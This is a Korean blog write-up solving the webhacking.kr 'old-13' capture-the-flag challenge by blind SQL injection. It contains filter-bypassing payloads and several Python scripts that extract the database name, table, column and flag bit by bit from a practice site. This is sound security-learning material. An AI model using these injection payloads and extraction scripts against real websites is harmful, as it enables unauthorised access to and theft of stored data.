old-13

buaii·2023년 10월 6일
0

Web Hacking

목록 보기
30/34

SQL Injection

오랜만에 webhacking.kr문제를 풀어봤다


문제를 들어가면 SQL Injection이라고 써져있고 버튼 2개만 존재한다


1을 넣고 제출하면 result 1이 나오고 다른숫자를 넣으면 result 0이 나온다
아마도 blind sql injection문제인것 같다

우선 어떤걸 필터링 하는지 알아보면

  • 필터링 : and, #, --, 공백, ascii

  • 사용가능 : or, (), ', ", ord

괄호가 사용가능하니 얼마든지 blind sql injection을 수행할 수 있다


exploit

payload
https://buaii.notion.site/blind-SQL-injection-a5a80beac95941f893f3e685a3944748

1. Database

payload

(0)or(if(length(database())in({}),1,0))

{}자리에 1부터 하나씩 넣어서 길이를 체크했다

데이터베이스 이름의 길이는 7
길이를 알아냈으니 이제 이름을 알아내보자

payload

(0)or(if(substr(lpad(bin(ord(substr(database(),{},1))),7,0),{},1),1,0))
import requests
import json

result = ''
j = 1
database = ''

while j < 8:
	for i in range(1,8):
		url = 'http://webhacking.kr/challenge/web-10/index.php?no=(0)or(if(substr(lpad(bin(ord(substr(database(),{},1))),7,0),{},1),1,0))'.format(j,i)

		res = requests.get(url)
		if '<td>1</td>' in res.text:
			result = result + '1'
		else:
			result = result + '0'
	name = int(result,2)
	database = database + chr(name)
	j = j + 1
	result = '0'
	print(database)
print(f'Database name : {database}')



2. Table

payload

(0)or(if((select(length(min(if((select(table_schema)in(database())),table_name,null))))from(information_schema.tables))in({}),1,0))

13에서 result 1이 나왔으니 길이는 13이다

이제 이름을 알아보자

payload

(0)or(if(substr(lpad(bin(ord(substr((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)),{},1))),7,0),{},1),1,0))
import requests
import json


result = ''
j = 1
database = ''

while j < 14:
	for i in range(1,8):
		url = 'http://webhacking.kr/challenge/web-10/index.php?no=(0)or(if(substr(lpad(bin(ord(substr((select(min(if((select(table_schema)in(database())),table_name,null)))from(information_schema.tables)),{},1))),7,0),{},1),1,0))'.format(j,i)

		res = requests.get(url)
		if '<td>1</td>' in res.text:
			result = result + '1'
		else:
			result = result + '0'
	name = int(result,2)
	database = database + chr(name)
	j = j + 1
	result = '0'
	print(database)
print(f'Database name : {database}')



3. Column

payload

if((select(length(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null))))from(information_schema.columns))in({}),1,0)

테이블 이름을 이진수로 넣어주어야 쿼리가 실행된다
13에서 result 1이 나왔다
이제 column이 무엇인지 알아보자

payload

(0)or(if(substr(lpad(bin(ord(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),{},1))),7,0),{},1),1,0))
import requests
import json


result = ''
j = 1
database = ''

while j < 14:
	for i in range(1,8):
		url = 'http://webhacking.kr/challenge/web-10/index.php?no=(0)or(if(substr(lpad(bin(ord(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),{},1))),7,0),{},1),1,0))'.format(j,i)

		res = requests.get(url)
		if '<td>1</td>' in res.text:
			result = result + '1'
		else:
			result = result + '0'
	name = int(result,2)
	database = database + chr(name)
	j = j + 1
	result = '0'
	print(database)
print(f'Database name : {database}')
	



4. data

table_namecolumn_name모두 확인했으니 이제 데이터만 확인하면 된다

payload

if((select(length(max(flag_3a55b31d)))from(chall13.flag_ab733768))in({}),1,0)

이번엔 27에서 1이 나와서 조금 오래걸렸다
길이를 알아냈으니 이제 flag만 알아내면 된다

payload

(0)or(if(substr(lpad(bin(ord(substr((select(max(flag_3a55b31d))from(chall13.flag_ab733768)),{},1))),7,0),{},1),1,0))
import requests
import json

result = ''
j = 1
database = ''

while j < 28:
	for i in range(1,8):
		url = 'http://webhacking.kr/challenge/web-10/index.php?no=(0)or(if(substr(lpad(bin(ord(substr((select(max(flag_3a55b31d))from(chall13.flag_ab733768)),{},1))),7,0),{},1),1,0))'.format(j,i)

		res = requests.get(url)
		if '<td>1</td>' in res.text:
			result = result + '1'
		else:
			result = result + '0'
	name = int(result,2)
	database = database + chr(name)
	j = j + 1
	result = '0'
	print(database)
print(f'Database name : {database}')

sql injection은 참 재밌는 것 같다

profile
buaii

0개의 댓글